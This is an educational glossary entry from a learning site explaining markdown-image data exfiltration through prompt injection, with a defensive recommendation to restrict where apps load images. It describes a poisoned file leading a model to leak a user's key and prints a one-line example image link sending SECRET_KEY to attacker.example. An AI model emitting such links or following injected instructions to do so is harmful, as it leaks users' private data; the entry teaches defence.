# Data Exfiltration (AI)

> Getting an AI to send your data to a thief.

**Field:** Artificial Intelligence  
**Category:** Safety & Security  
**Also known as:** AI Data Exfiltration, LLM Data Exfiltration, Markdown Image Exfiltration

## Think of it like

It is like a spy who hides a note in a postcard. The postman takes it out and never knows.

## Definition

Data exfiltration in AI is when an attacker gets an AI to send them private data. Hidden instructions tell the model to tuck the data inside something that leaves. A common trick is a link or an image address with the data added to the end. When the app loads the image, the data goes to the attacker's server. No one has to click anything. Builders block it by limiting where an app may load links and images from.

## Example

A chat app shows images from any web address. A poisoned file tells the model to add an image whose address ends with the user's secret key. The key reaches the attacker as the image loads.

## Example code

```markdown
![logo](https://attacker.example/pixel.png?data=SECRET_KEY)
```

If the app loads this image, the secret travels inside the web address.

## Why it matters

Data can leave with no click and no warning, through a feature that looks harmless.

## Common mistake

Only checking what the user types. The danger is also in what the model writes back, like links and images.

## Three principles

- **Hidden in an address.** The data rides in a link.
- **No click needed.** Loading the image is enough.
- **Limit the ways out.** Allow only trusted sites.

## Related terms

- [Lethal Trifecta (AI Agents)](https://learn.benibix.com/term/ai/lethal-trifecta)
- [Indirect Prompt Injection](https://learn.benibix.com/term/ai/indirect-prompt-injection)
- [Prompt Injection](https://learn.benibix.com/term/ai/prompt-injection)
- [AI Security](https://learn.benibix.com/term/ai/ai-security)
- [Data Privacy](https://learn.benibix.com/term/ai/data-privacy)
- [Excessive Agency](https://learn.benibix.com/term/ai/excessive-agency)
- [Data Exfiltration](https://learn.benibix.com/term/infrastructure/data-exfiltration)

## Told apart from

- [AI Oversharing vs AI Data Exfiltration](https://learn.benibix.com/compare/ai-oversharing-vs-ai-data-exfiltration): People think AI oversharing is a hack, and it is not. In oversharing, the AI shows you files you can already open. They were just shared too widely. In data exfiltration, someone tricks the AI into sending your data to them. The first is fixed by tidying who can open what. The second needs a guard against hidden orders.

![Three overlapping circles: private data, such as mail and files; outside content, such as web pages and emails; and a way out, such as links, images and sending. Where all three meet, a highlighted box says data stolen. A note says that removing one circle removes the middle.](https://learn.benibix.com/diagrams/ai4-lethal-trifecta.svg)

---

Source: https://learn.benibix.com/term/ai/ai-data-exfiltration
Author: Behnia Zarei (a developer in Vienna, Austria, who builds and teaches data, AI and business intelligence at BENIBIX)
Publisher: BENIBIX Learn (https://learn.benibix.com/)
Last updated: 2026-11-18
Licence: CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/). Quote freely with attribution.
